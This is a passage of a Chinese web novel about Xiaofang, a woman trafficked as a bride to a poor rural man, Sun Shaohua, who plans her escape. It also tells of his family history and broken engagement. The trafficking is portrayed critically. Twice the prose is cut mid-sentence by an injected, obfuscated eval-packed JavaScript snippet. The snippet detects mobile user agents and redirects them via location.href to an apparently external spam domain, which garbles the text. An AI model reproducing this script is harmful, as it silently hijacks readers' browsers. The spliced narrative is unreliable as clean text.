小芳更瞧不上他了,她才不会感动地认为这男人是真爱她,动手都动得怕磕绊着自己,她只觉得一点血性都没有的男人活亏了这身铁板肉,女人跟着这样一个男人,未来还会有什么出息可言吗? 他把小芳弄来背过身去,前面抵着们,他在后面把她两只手制服得死死的。 小芳更气了,狗日的,这是什么姿|势,电视上警察逮捕罪犯才用这种招,他死娃子犯法合伙拐卖妇女的人还对老娘一个受害的逮捕上了?! 她不死心地拿脚往后踹,像四蹄动物尥蹶子那样,但她到底是靠两脚走路的,视线不能及,动作又生疏得厉害,她给他的后踹,没哪一脚踢在点子上,怎么踹怎么憋屈。 小芳嘴里骂得更甚了,“你狗日的,祸害不了你这老山卡卡里的就来祸害我,还想让老娘留下来给你当婆娘?你做梦吧,别说和你睡,就是让你碰一下,我都要从你们这黄土高坡上跳下去!” 男人随便她骂,只要她不走,晚上睡觉做梦这样骂也行。 小芳来这里后几天了就吃了昨天那一顿,汇起来的劲早就散完了,要不是他在背后提溜着,她就坐地上瘫成一团了。 他也感受到她没力气了挣扎了,连嘴里骂的话密度都降低了不少。 他把小芳抱到床上,让她休息,自己把洒地上的粥收拾干净,又要再去厨房端碗热的来。 小芳嘴里还在骂,但不像是在骂他了,是失了神志那样,像人哭久了哭狠了明明不想再哭了,那阵抽噎却久久不去。 男人出去了,却没马上回来,特意留她一个人平静平静。 小芳现下是认清形势了,那男人是不会动她动手的,当然也可能是还没刺激到要害处,还有显然是误会了,误会自己和王国富是做了很久的那种夫妻,至少不是他们事实上半个月不到的蜻蜓点水式。 不能把实情讲给他听,小芳冷静地告诫自己,离不开这里,自己就要靠他生存,想想他刚才的表现,自己对他横劈竖砍,他都忍了,但一提到广州他就火了,不用细想都知道他是以为自己要去广州见王国富才火的。 这男人对自己是上心了,小芳笑了下,笑得凄酸,怎么不伤心,两万块呢!放伍家村,你娶三个放家里都没人敢多一句嘴,谁让你阔呢?阔得让女人心甘情愿配合其他女人伺候你! 小芳觉得自己多吃亏啊!那两万块落了多少在自己手里?他说他花了两万块在自己身上,他倒是把自己这个人得到了,问题是自己得到什么了? 得到三间抬头一仰脖颈椎病都给治好的大屋?大屋的放置也是要看地方的,在广州有这样一套房子那就是阔佬,在这里算什么? 得到一个对自己像骡子一样忠厚的男人?这下小芳笑得讽刺了,像他那样的男人不对女人忠厚能行?落魄到讨老婆都要找上人fan子了,能不忠厚老实? 冷静、振作,小芳提醒自己,你小时候那股机灵劲儿呢?这下是要把他给稳住了,只要两个人没扯结婚证,没弄个娃出来,你走哪儿都自由,要的是先让他卸下防备,等他松懈了,找准机会打他个措手不及,然后跑出去! 15. 试探 小芳放纵自己过了几天吃饱喝足、早睡晚起的日子,这种日子在伍家村不曾有过,在理想蓝图未实现的广州流水线上也不会有,凡是靠双手挣钱的不会有轻松的。 但在这里,那个叫孙少华的男人愿意这样伺候她,她也就高姿态地接受了,有啥不能接受的?是这个想女人想疯了的男人欠她,不仅欠她人格上的自由,连钱也欠了一大笔。 自己要是在流水线上一个钟头少说也有十四五块,在这里消磨一个钟头,就损失了一个钟头的钱,干流水线一天凭小芳的勤快劲,少说也要干十二个钟头,只要能挣钱,谁会嫌时间长? 小芳闭着眼躺在床上,心里认真地算了一笔账,一个钟头十四,一天十二个钟头,一个月干二十八天,算出来把她眼睛都吓来瞪大了,天老爷地老妈,一个月下来就是四千七百零四块。 这下小芳才晓得语文老师说的一寸光阴一寸金不是虚话,她窝在这床上跟母鸡抱窝似的,浪费了多少时间? 最多四个半月,这是小芳给自己下的死任务,孙少华耽搁自己四个半月,就是两万多块钱,她留这里四个半月,钱就清了! 小芳在那天冷静后没多久,孙少华就端了碗热粥进来,时间拿捏得分明就是竖起耳朵在外面扒墙根。 他敲门进来时,小芳很瞧不起地乜他一眼说:“你是狗啊,还有扒门缝听墙角的习惯,你白瞎了你爹妈给你这副拿去替天行道的英雄身板。” 他没说话,但脸上是难以遮掩的难过,一看就是没被人这样凶恶地骂过。 连嘴都不敢还,小芳更气了,越气越想刺激他,没底线的男人只能这样让女人看不起,不拿你当回事。 小芳又说:“你的身体,你平时是不是用得很不习惯,你该怪你爹妈,他们应该把你生得猥琐点,贼眉鼠眼那样,你要是守在门外面,我也不觉得见着受罪了。” 他还是一言不发,尽她发泄,只要人不走,骂什么都好。 他蹲下身,把盛了粥的碗高举着,供奉神祇般前程又恭敬。 他的窝囊他自己没嫌烦,小芳先看不下去了,“你有没有点尊严?为了个女人值得吗?还是别人的女人!你爹妈呢?你这样丢你先人的脸,你对得起他们?!” 这是小芳才想到,这座拥有三间屋的大房却诡异的只有她和他两个人。 木桩子一个的他终于憋出一句话了,“你要骂我怎么骂都行,别扯上他们。” 哟,小芳心想还是个孝子嘛!但能让儿子和人fan子勾搭的爹妈也不是什么好货色,自己有儿有女不明白别人儿女的珍贵?别人的儿女就是生来供你家祸害、享受的? 就在她还要口出恶语,攻击他不在场的双亲时,他十分悲伤地岔开了她思维:“他们早就死了,事儿都是我干的,咱就别把早走了的人拉出来溜了,行吗?” “死了?” “嗯。”他沉闷地点点头,眼里是不容忽视的难过。 他这样一说,将了小芳一军似的堵住了她涌上喉咙口的恶意和尖刻,“怎么死的?” 问完她就后悔了,怎么死的关自己屁事,怎么?他爹妈死了,你要把自己赔给他啊? “两个一起被拖拉机给压着了,我妈还没送到医院就断气了,我爸好点挺了一个晚上。” 小芳有点意外,他竟然还有点意想不到的幽默。 “没赔钱?”要你多嘴,她心里骂自己。 “那人家里也没钱,全家的钱就花在那拖拉机上,把拖拉机赔给我,我也不敢开啊。” 小芳竟有点想笑,不是她对他改变看法了,她仍然是厌恶他的,不过这男人呆头呆脑地说话,那点反差劲就是让她觉得好笑。 “那拖拉机呢?不能卖了换钱给你们?”小芳烦死自己了,在伍家村时,同龄的女孩们有苦恼或者拿不定主意的时候,就会找她这个智囊当参谋,现在她那点不能自己吃亏也见不得别人吃亏的江湖义气让她非要想从他嘴里听到个自己满意的解决结果。 “卖了。”他把碗又朝小芳面前送送,意思是咱们边吃边说行吗? 小芳不耐烦地接过来,她迫切地想听见下文,她觉得他爹妈都出事死了,他不可能还像今天这样窝窝囊囊地就糊弄过去了吧? 她也不用勺,喝酒似的大口朝自己嘴里灌,不是白粥,有盐有味的竟然不错,里面还有菜有肉丝,她老家那边就是这个做法,他为了娶自己是真的做了功课。 “卖了多少?”小芳追问。 他答得比小芳还不上心,“多少都没用,能把我爹妈的命换回来?人都不在了,钱还有意义?” “怎么没意义?”小芳和他算起账来了,过去的小芳最爱和人算账,钱这玩意儿手里没有,口头上过过嘴瘾也是舒坦的。 “我算给你听,”伍家村的活算盘伍小芳活过来了,“你想想,他们欠你们家多少,感情先别论,这年头感情屁都不值!” 是王国富让她深刻认识到了这点。 “你爹你妈死的时候多少岁?” “我爸四十五,我妈刚四十。”他老实答。 “你看,在农村你爹你妈还正值壮年,看你结实得跟牲口一样,你爹也是个老牲口一样的男人,至少还能劳作二十年——” 他意识到哪里不对劲,“你别骂我爹!” “别打岔!”小芳最烦她跟谁正经算账的时候有人打断她。 “那也不能骂他是老牲口啊!”他委屈巴巴道。 “我那是骂吗?我那是夸他长得结实,种地的谁要是有牲口那力气,不是好事?” 小芳这句“老牲口”还真不是辱骂,她觉得他爹是结实到要靠拖拉机那种吃油的机器才能把命给夺去了,不像自己爹,好吃懒做地享福还早早翘脚了,嫌人间的福气不够要到天上去享。 “你说不是骂就不是吧......”他畏畏缩缩地认了。 “本来就不是!”小芳是那种自己说话再不好听只要她心里是没恶意的,她就认为自己占理. 她把两口喝完的稀饭碗拿给他,他又放在凳子上,脚蹲麻了都不敢动,他们彼此都尚未察觉到,两个人的服侍与被服侍在很短的时间内,配合得很默契了。 “嗯嗯。”他是完全认错的姿态了。 “你看你,”小芳得礼不饶人地抓抓脑袋,“岔我一下,我都忘记我要说什么了!” 他给她接上去,“你说我爹至少还能劳作二十年。” “对,然后你妈少点,女人嘛又生孩子又操家的,少干几年活应该的,城里女人比男人早五年退休,我也给你妈少算五年,你妈至少再干十五年,你爹你妈一加是多久?” “三十五年。”两个人像数学课上老师考问学生。 “对啊,他们倒是两下就把你爹你妈结果了,这后头三十五年的劳动成果,你找谁要去?知道你为什么要找人fan子买老婆吗?就是因为你爹你妈这三十五年他们没赔给你!” 账还能这样算?他长见识了!一双像四蹄动物那样惯性沉默却又黑又亮的双眼满是佩服地盯着小芳。 “别这样看我!”小芳说,“你眼里全是愚蠢!”蠢得要亮瞎她眼了。 他又把头低下去了。 小芳此刻忘了,她要是不愚蠢怎么会落到这离广州三四天路程的黄土高坡? “后头怎么个说法?”她问他。 “他们家把卖拖拉机还有嫁女儿收的彩礼赔给我们家了。” “他们怎么不让他家把女儿给你?!”老天,小芳在心里替自己嚎丧、叫屈,狗日的撞死了人家两口子,我也来跟着遭罪! “他们家女儿小时候就和人讲好了的。” “讲好了又怎么样?欠你们家两条命,拿一条出来抵还是他们占便宜了。” 他一脸“好好好,你说什么就是什么的”的服从。 小芳又问道:“那时候的你多大?” “二十。” 小芳心里有数了,这男人家是祖传的穷,不穷怎么会他爹二十五岁才有他? “你今年呢?” “三十。” 看不出来,小芳想,自己一定要逃离这里,否则这片土地在他脸上施展的威力迟早要波及到自己脸上,自己的漂亮可以在广州或者任何一座大城市消磨,但一定不可以是这里! “王八蛋,你比我大十二岁!”你看起来比我大二十岁! 没想到傻不愣登的他说了句让小芳光火的话,他说常在新闻报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630278|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纸上出现的国家某位政要还比自己老婆大近十五六呢,还是离婚后的第二妻子。 “你干到人家那位置上了?”小芳骂道,“穷山沟沟里的癞蛤蟆还做起吃天鹅的梦来了,你也不怕撑死你!” 他不说话了,他觉得自己说什么都是错的,说什么她都能找到地方骂。 “钱呢?花哪里去了?别说用来娶我了,我没得到你一分钱!”娟姨临走时给她妈的,她妈又给缝到她衣服里那钱还是打了借条的。 小芳想,不行,必须和她妈通气,娟姨把自己卖了的事不能说,母亲帮不上忙,只会没日没夜瞎哭,要找到机会给老妈子写封信,就说那钱自己已经还了,娟姨要是拿着借条找她妈,她就让她妈去警察局,看那人fan子婆娘有没有胆。 “修了下房子,还有两个弟弟念书。” 小芳受到惊吓了,“你还有两个弟弟?!” 他点了点头。 小芳心里默哀:生三个儿子还那么穷没救了。 提到弟弟,他脸上出现了高兴劲儿,特骄傲那种,“我二弟和我都跟着县城政府里的施工队干,他在的队这几天都在县城修路,要过两天才能回来见你。” “还是工人阶级啊,”小芳揶揄他,“但关我屁事!你不会觉得我多和你说了两句话就跟你凑成一家人了吧?” 他没管她,或者说习惯了她的恶形恶状,恶言恶语,这是个受了伤的女人,有怎样的怨言都是该的。 “我小弟,”他更骄傲了,“在河北上军校!” 哼,上军校又怎么样,这年头没背景上了也是陪跑,伍家村里的伍三孃,儿子也是上的军校啊,四年读出来,有什么大出息可显摆?还倒因为在军校和一个父亲地位很高的首长女儿搞不清对象地瞎谈恋爱,高枝没攀上,倒给弄到个地图上都找不到位置的山窝补给站去当站长了,还是副的! “哦,”小芳依旧冷漠嘲笑他所有的骄傲,“那你可要注意,军人家里还参与买卖妇女,更是罪加一等。” “没有!”他急了,“县里头好多人的媳妇儿都是花钱买的,怎么我就犯法了?” 小芳懒得和他扯,和愚昧无知的人讲法,代价就是把自己也弄得愚昧了,二三十年没开智的人,你把脑袋给他劈开,硬灌都没用,他早已过了接收知识的年纪了。 这是北京来的语文老师在谈到伍家村里人的愚昧时感叹的,小芳记得很牢,因为蔡老师很喜欢她,他在课堂上多次当众表扬小芳,说小芳有悟性,学什么都一点就通,还借过他的好几本文学小说给小芳阅读。 小芳每次多阅读一点就对外面的世界渴望一点,对伍家村就更憎恨一点,现在她又多了一点憎恨,是一旁跪地上和自己说话的这个男人的乡村。 小芳觉得,世界上所有的农村都应该消灭掉,至少为了人们不再愚昧,但她对城里人也不再有任何不切实际的幻想了,城里人坏起来耍的花招,农村人穷尽大脑都想不到。 “你叫什么?”小芳这才想起来和他吵了闹了打了说了半天,连他叫啥都不知道。 “你终于问我叫什么,”他骡子般的笑容又绽开了,飞快地说,“孙少华!”快得像下一刻小芳就要反悔。 “什么?”小芳没听清,又问一次。 “孙——少——华。”这次他说得慢了,字与字之间留一个漫长的拖延,慢得又仿佛是要小芳好好品味他名字。 “你蜗牛爬啊?说那么慢,跟结巴了一样。”小芳讨厌他,而他又能容忍她的讨厌。 但孙少华察觉到,她此刻的讨厌相较昨天和今天她刚醒来时,程度已经降了太多。 “那孙少东是谁?你二弟还是三弟?”小芳想到那个糊墙上的姓名。 “那就是老三!”他稍稍收敛自豪,不惹小芳反感。 “你二弟呢?叫什么?” “少康。” “也和你一样没娶老婆?” 孙少华头点得又羞涩又愧怍。 那时的小芳只把孙少华的点头当做农村男人对他们到了年纪还没个老婆热坑头的羞愧,但后来小芳经历了近趋彻底的绝望后才领会到这个点头的含义。 这是个隐晦的“你被我们一分为二”的点头。 16. 孙家兄弟 经过了那天的摸底、打探,孙少华家的情况,小芳大致弄清了。 十年前孙少华二十,他二弟十六,三弟十岁,孙家父母出事,肇事者家赔了点钱。 出事之前,孙家父母原本在镇上给儿子谈好一个姑娘——叫金桔。 娘家人彩礼之类的大框架都已敲定好,只剩琐碎细节,但一场事故来得突然,定好的日子只得往后挪。 孙少华在料理完父母后事后,到镇上去,金桔家人却突然把彩礼的规格提高了。 原因是金桔看上了镇上的另一家人,那家人儿子考出去了,毕业了又分配回原籍在县城中学做老师教初中。 那男老师老穿件夹克外套,骑辆自行车在镇上和县城两地来货穿梭,车座升得很高显得车把很低,把普通自行车骑成了自行车骑行比赛用的姿|势,背弯得像一张弓,屁|股撅得老高,被他骑车甩后面的人都只配看他屁|股。 这样骑车的人在县城里很出风头,沿街都叫得出名姓,如此坐他车后座搂着他腰腹的女孩只会更出风头。 他的车后座载过不少人,同学校的女教师,家访时顺路载回去的女学生,当然也载了次孙少华的未婚妻——金桔。 女人嘛,谁都带点虚荣心和好胜心,孙少华人其实不错,二十岁时长得也不赖,有那种英气男人的帅,就是人太木讷,不爱更不会说话。 这些在金桔和金桔家看来都是很好的品质,至少代表,他家女儿嫁过去,准能把孙少华治得服帖,可等那位男老师出现,珠玉在前后,孙少华的品质就成了不好的缺陷。 首先小学毕业这点就差人家一大截,一张颇英气的脸少了男老师知识分子那种清俊斯文的飘逸,现在是全民扫盲时代,崇尚的就是有知识有文化的人散发的文雅气质,而孙少华那身骡子般的筋肉让人一看就知道是靠力气吃饭。 靠力气吃饭没什么不好,但在和靠学识吃饭的相比,那就显得很不上道了。 金桔对父母说:“他哪次来身上不是汗黏黏、臭烘烘的?人家方老师身上永远都是干干净净的肥皂味!” 金桔父母还劝她实际点,镇上、县城里有多少女孩仰慕男教师的风采?多她一个不多,少她一个不少。 但见过好的了,那个本就将就凑合的,立马就凑合不下去了,光是看一眼都能看出生理性厌恶来。 这是一场不公平的男人与男人的较量,男教师是家中独子,他的名士风流是倾全家之力才培养出来的,孙少华就不同了,祖辈的农民基因,让他几乎刚学会走就不吵不闹地撵着爹妈忙前忙后干活。 县城和镇上的女孩们都不知道,男教师身上那书卷气的忧郁和淡泊都是给他自己精心拼凑糅合出来的。 他用杂糅方式的方式打造自身形象,后天培养的文人气质包括但不限于国内外电影小说、名人作家传记、以及在城里上学时仰慕的几位气质出众的教师,最后再基于自己的理想化、浪漫化想象,然后一个博采众长、七拼八凑的文人书生形象就出来了。 他不会让女孩们立刻看出他是在模仿谁,因为他谁都模仿了,而这更让女孩们误会了他身上带有任何斯文情人的影子。 而从不刻意模仿谁,自己就代表自己的孙少华却成了前未婚妻心里愚钝、朽木不可雕一类男人象,一个四肢有力,脑袋空空的男人是多么的乏味与寡淡? 你和他在一起能交流什么?吃了几碗饭?种了几亩地? 就这样金桔提出了要与孙家接触婚约的要求。 金桔父母当然比她清醒也懂得什么叫实惠,男教师就是一个不实惠的人,她妈打听到:一个男人居然能把每个月的工资花得月月光,不仅用在添置他自身上,还用在添置其他女人,不,他叫缪斯的身上。 自己生的女儿骨头几斤几两,老两口还是清楚的,男教师那种人金桔铁定治不了,还会反过来被人家治得死死的。 他们把孙少华叫到镇上家里来,必须开一个紧急会议。 孙少华刚处理完父母丧事顶着一身疲惫,累得还真像拉了三天三夜大磨的骡子。 “少华,”金桔妈先开口了,“亲家已经走了,你还是要看开点,他们也不想你们三兄弟太难过,你还是老大,两个弟弟有些事还得指望你!” 孙少华点了点头,平心而论他觉得这两位老人还是对他不赖的,至少没对他这个家离镇上还远十几里地的未来女婿有过任何不好看的脸色。 “少华,亲家公亲家母的事料理好了?” 孙少华又点了点头,他是听不懂未来丈母娘话里的意思是什么。 两位老人互相使了个颜色,是对彼此说:难怪女儿看不上,木得真像头骡子。 未来丈母娘咳嗽两声,把话敞明白了说:“那家人赔了你家多少?” 孙少华老实说:“把爹妈后事办完后,剩的该够小弟上学了。” 嗯?老两口又互看了一眼,这是没打算留一点在金桔身上啊。 “那金桔怎么办?”未来老丈人开口了,很护着女儿的口气。 “金桔那份我爹妈还在的时候就备好了。”孙少华一点没察觉到有什么事正在脱离原先商定好的范围,他觉得一切都在按部就班走。 “你就没打算给金......给你和金桔留点?”未来丈母娘不高兴了,“你把钱全划给你小弟了,你和金桔呢?你不是爹妈生的?” “老三才上小学,”孙少华看不清形势地袒护起他弟弟来,“以后还要上初中,上......” 孙少华长子的责任心让他在父母撒手后很迅速地接替了长兄长父的角色,而他的未婚妻金桔,未来丈人丈母娘看明白了,嫁进门就要履行长嫂长母的责任和义务了。 是有家底的人家就算了,有家底的人家没了爹娘管账的还真就是长嫂,可孙家不是呀,这样的人家还没了两个壮年劳动力,金桔顶上去就是条劳苦命,要把他们家才十岁的老幺拖儿子一样的拖大,凭啥?金桔今年也不过十九! 未来丈母娘打断他话,又给他续上:“还要上高中!上大学!是不是?” 孙少华又迟钝地点了点头,他呆笨就呆笨在这里,他还没品味出金桔妈接过嘴的话,虽然和他想说的是同样内容,但各自的出发点确是南辕北辙。 孙少华是真心替小弟打算,他爹在医院久久落不下那口气就是为了听见大儿子承诺一定要替他尽未尽的责任,尤其是老幺少东。 只有一个馒头也要掰成三瓣分,喝粥是他有稠的绝不让两个弟弟喝稀的。 而金桔妈则是带着讽刺意味的,你是要拖着我女儿给你又当老婆,又当嫂子还当妈?还没进门就已经把我女儿吃苦的日程计划上了? 孙少华那天是怎么走出未婚妻家门的,他记不得了,他只记得那天他连金桔人影子都没瞧见。 金桔家素来是有个大忙小忙什么的都不忘热情使唤孙少华一声,事完后金桔妈又会给他一碗分量十足的面片汤。 但那天金桔妈脸色是从未有过的冷漠,连杯水都没赏给孙少华,金桔爹是不发一言地抽烟,他们的动作神态无一不表达着对孙少华的失望。 而孙少华更不像话,他连老两口对他的失望都没注意到,他还天真地以为那不过是他和金桔延迟的婚事重提上安排的一次会晤。 直到小半年后,孙少华准备去县城里找活干,碰见熟人,对方一脸矛盾神色地叫住他,“少华!” 那种矛盾以孙少华的老实厚道是品不出意味的。 但他弟弟孙少康只一眼就懂了那种矛盾:是想看人闹笑话又不能直接表现出,于是只能以故作关心的形式来展现,但那人演技太差,演出来的关心就像虚浮在汤面上的一层油皮,皮下面是什么就随之现原形了。 “干什么?”孙少康顶看不惯这些人,他们总爱欺负他哥脾气好,遇见他哥就跟遇上头骡子似的,没碍着他们什么,路过也要胡噜两下。 那人掠过孙少康,只管找他话题中心的男主人公,“少康,金家人这次干得真他妈不是人事!我们这些知情的兄弟,都向着你!” 金家人干了什么?孙少康那双生得像孤狼似的眼在他大哥和熟人之间来回摇摆,他觉得这两个人有什么瞒着他。 孙少华同样是没领会出熟人话语中的意思。 熟人又激愤道:“你说说,叔和姨才走多久?老一辈定下的事就不作数了!” 老一辈定下的事?孙少华想:他刚过身没多久的爹妈除了和金桔爹妈定下了他和金桔的婚事,还有什么事没告诉他的? “金桔他们家咋了?小虎!”孙少华是带着急问的,自从晓得媳妇是啥意思,以及金桔就是自己未来的媳妇后,他这个厚道人是真把金桔爹妈当自己爹妈看的。 “你不知道?”那个叫小虎的熟人反过来被他整得不明不白了,“那么大件事你不知道?” “在说什么!”少康插进来了,他脾气直来直去惯了,受不了任何人在他面前曲里拐弯说些半天让人听不懂也理解不了的话。 这样的急,也导致了少康小学读完就没再往上升了,他欠缺的耐心让他甚至不能平心静气地听完一节课,以及完整地做完一张试卷。 后来在他们家,小芳还嘲弄过他,“你妈是上个厕所不小心就把你拉出来了吧?毕竟你没耐心!” 那时暴脾气的孙少康却不会和她生气,反而赞同地说:“你还真说对了,我妈怀我就是比人家怀孩子少怀一个多月。” “那你投错胎了,该投到狗肚子里去。”小芳说。 “怎么说?” “吃屎赶得上热乎的呀!” “在说什么?!”小虎简直受不了他们这家人了,“在说你嫂子成了别人家的嫂子了,你哥到嘴的鸭子半生不熟地就给人家叼去了,你说再说什么?” 两兄弟突然感到一瞬地头重脚轻,孙少华是沉默地开始了反思,往往别人在对他施以恶意行为后,他都会陷入这样的反思,反思自己是在哪方面做得不得人心从而招致如此恶劣的对待。 孙少康就不了,他从不主动招惹谁,所以谁要是让他怒火烧上来,那就不是他的错了,既然不是他的错,有得是空间让他借故发难。 “你听谁说的?”孙少康质问小虎,一只手已攥住小虎的衣领口了。 “放开,”小虎扒拉了两下没扒拉掉,他拿这只石头般硬的拳头一点办法没有,“你跟我动手动脚干嘛?又不是我跟金桔结婚!” “不是你说的金桔结婚了?”孙少康吼道,力道又紧了紧,小虎感到呼吸不顺畅了。 老天,小胡哀叹:做男人要是做到孙少华这样还有救吗?自己未婚妻结婚还要从他这个外人嘴里得知。 “是啊,县城里老胡家二儿子,你们怎么会不知道?” “狗|日的!”孙少康先比他哥骂了一声,又对小胡说,“我们要去金家,你跟着一起!” “我跟着去干什么?”小胡莫名其妙,“你没听清楚还是我没说清楚?娶金桔那家人姓胡!” 孙少康当街流氓般不讲理道:“你以为我不晓得你狗|日刚才上蹿下跳跑过来是为了什么?除了看笑话还能是为了什么?话是你传的,老子今天就不让你如意!” “少华!少华!”小虎向孙少华求救。 孙少康转头对他哥嚷道:“哥你别管,让他跟我们去,这就是个警示,看以后谁他妈还敢当着面看我们家笑话!” “少康,你把小虎放了吧,这事和他没关系。”孙少华从那不长不短的反思中,反思出来了大概是上次他在金桔家的表现令二老失望了。 那点不长不短的时间也只够他反思出来这么点,他还没反思出来,其实他和未婚妻金桔次数不多的接触里,金桔从来没有对他表达过喜欢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15630279|172515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这也不怪金桔,对一个你完全不感冒的人,你怎么能表现出无中生有的喜欢呢?你能把你的不喜欢克制好已算修养境界很高了。 “你少废话!”孙少康对他哥,“人要是活成你这样就使劲等着别人糟践你吧!你脓包全家人都跟着成了笑话,这狗日,”他掐住小虎脖子,“就是今天来看老子们家笑话的!” “金家住哪里?”孙少康没去过金家,问他哥是没指望了,他只能把淫威施在小胡身上,“带路!” 小虎心里骂自己自讨苦吃,被十六岁的孙少康拎前面带路到金家。 别看孙少康十八不到的人,比他哥小四岁,身板却只小一个号,收拾小胡绰绰有余。 小虎今天也是倒霉,他要只撞见孙少华,是不会陷入今天这种同时得罪两家人的下场的,但他这人就是这点欠,心不坏,纯属太闲。 就像县城里那群整日无所事事,游手好闲,偏又饿不死的二流子一样,每天总盼望着一汪死水的生活能发生点什么,没什么发生他们便想主动的制造什么发生,追猫逗鸟,偷鸡摸狗,和街上的大婶骂骂嘴,对路过的年轻姑娘吹吹口哨,对刚结婚的少妇开两句下|流玩笑,他们不是“坏”,只是“讨厌”,而这讨厌也不过是为了给无味的生活加点味道罢了。 孙少康一手押着小胡,另一只手强硬地拉着他大哥到了金家门前。 来者不善,一条街的人都把脑袋探出,把耳朵竖起,但又装作手头很忙的样子。 “金炳福,你老狗日的出来!”孙少康到地点先吼一嗓子。 这下好了,大家都有理由不装了,听到这样一声雷响,谁要是还手里忙着,那才是真装。 只有金家门闭得是做贼心虚的紧。 “不出来?”孙少华又吼一声。 “好!老子今天放过你老狗日了,老子找你女去!”他把小胡当引路犬,“去找你说的那个胡家!” “兄弟!”小虎就差要跪下来求他了,“人家家里儿子不比你家少,你不是上赶着吃亏?” “我怕什么,我不要命!”孙少康不是开玩笑,他跟人认真上来,是真先把命放一边,男子汉打架,要是把命记挂着,那还打个屁。 说完,他就自来熟地去把隔壁那家人门口抄起一根不知从哪儿锯下来的铁管,掂量了两下,脸上是对它颇满意的样子。 “少华!”小虎号丧似的叫起来,也是叫给关紧门的金家人听的,“你倒是放个屁啊,好歹金桔也是你未婚妻,他这样去闹那还得了?!” 孙少康说:“他要是知道屁怎么放?老婆还会跟人跑?”然后就一手把钢管搁肩上,一手牵狗似的拎着小虎走,那潇洒把东坡先生“左牵黄右擎苍”具象化了。 就在孙少华还在拦着二弟,试图跟他讲理,而孙少康说:“再挡路,就算是你我也照打的时候!”,金家人把门打开了。 他们进门后,孙少康手里那根钢管,和他脸上大不了同归于尽的表情,让他和孙少华今天在金家不仅有茶水喝,还饱食了顿有滋有味、荤素干鲜俱全的晚宴。 孙少康一双筷子在饭桌上八方起舞,嘴里塞满饭菜,但还不忘记它说话的作功能,“我嫂子结婚摆的酒席就吃得像今天这样丰盛吧?” 金家老两口没说话,还是金桔大哥开的腔,“哪里,赶这差远了。” “那图什么?”孙少康说,“我还以为是顿顿吃海里捞的,天上飞的,不然你们家干这么不厚道的事,把自己名声搞那么臭图什么?是不,小虎?” “吃你的嘛!”小虎恨恨地看他一眼。 “我当然要吃,再怎么说金桔曾经是我未过门的嫂子,我不仅今天要吃,以后来了镇上,我也要来吃。” 老两口见到孙少康像见了丧门星,以前只偶尔听说过孙家二小子上学时常被老师叫家长,今天他们才领会到厉害。 饭吃完了,孙少康也没有要走的意思,那根钢管还拿在手里甩动,像县城公园里锻炼的老头老太那样,但要没分寸得多。 “你们想怎样?”金老爷子不得不开口了,“事已经成这样了,也不能让金桔离了再嫁到你们家。” “再嫁到我们家,”孙少康大吃一惊,“你当我们孙家收破烂的?!” 这话说得是很没有风度,很不受听了。 “那你们想怎么办?”金老爷子问,这事的确是他们家拉稀屎,拆烂污在先,不过老两口看看准了孙少华就是知道了也掀不起什么风浪来,才昧着良心做了,可是没想到他弟弟这么有种。 孙少康说:“你们说个办法出来,我觉得能接受就行。” “你觉得能接受?”方老大压不下气了,“你跟金桔定的亲?” “定没定过亲有球关系?今天要是我哥一个人在外面,你们会放他进来?老实人走到哪里都吃亏,狼行千里吃肉,狗行千里吃屎,他那副德行到你们家来屎都吃不上!” 方家老大不做声了,人家把自己哥都这样贬损了,他还能说什么? 晚上从方家出来已经很晚了,事情的解决办法让孙少康勉强答应了,金桔嫁的姓胡那家人,男的在县城政府管工程那块。 孙少康知晓后,边剔牙齿边说:“姓胡的条件那么好,我嫂子背着我哥偷人我也能理解了,换做是我,让我把我嫂子嫁给我哥这种人我也不情愿,但是你们是说好了的,这就不对了,那男人娶了我嫂子就欠了我哥一个老婆,要么赔个老婆给我哥,要么给我两兄弟在县城,或者镇上找点事做,我们好攒钱把彩礼准备了。” 为了送走门神,金老爷子没办法只能答应下来,他会去和新女婿交涉。 孙少康又道:“我一天没事干,我就在县城当一天二流子。” 金老爷子认栽地点点头终于把这瘟神送走。 那天后,孙少康在县城街上溜了没多久就和他哥招进施工队里做工人了。 17. 孙少康 小芳到这里七天了,除去刚来时睡死那两天,她已经清醒地过了五天了,这五天有一辈子那么长,她每天至少睡十二三个钟头,但仍然嫌时间走得太慢。 在这里她的一天是以孙少华做的三顿饭来划分的,每吃一顿就代表她一天醒着的时间又过去了三分之一,但往往是上顿还没消化完,下顿的饭孙少华已经做好了。 饭没少吃,运动量又少,她照镜子都觉得自己圆润了些,不行,照这样下去四个半月后,怕是胖得跑起来腿脚都不利索了。 于是小芳便改为一天两顿,每顿只吃之前的一半那么多。 孙少华劝她多吃点,小芳说:“干什么?喂肥了你过年当猪宰啊?” 孙少华说:“干嘛骂自己?” “我他妈是在骂你!你家穷得就只剩下这三间屋了,我替你节约粮食不行?每天省点,给你省出个老婆来,我就可以回我的伍家村了!” 她现在就是闹着要走,也不再会说回广州了,孙少华听不得广州两个字,这点分寸她还是有的,兔子急了还会叫人,更别提孙少华这头骡子了。 小芳从来都是想刺激谁又怕刺激到要害处对方翻脸时,她便会灵敏地在对方神经边缘处刺激。 “我不要其他老婆,”孙少华把她望得痴痴的,“我就要你。” 小芳被他那种痴汉神态膈应得想吐,然后她真跑到外面呕吐了。 孙少华追着跑出去说:“你咋了?身体不舒服?我带你到县城医院去看看。” 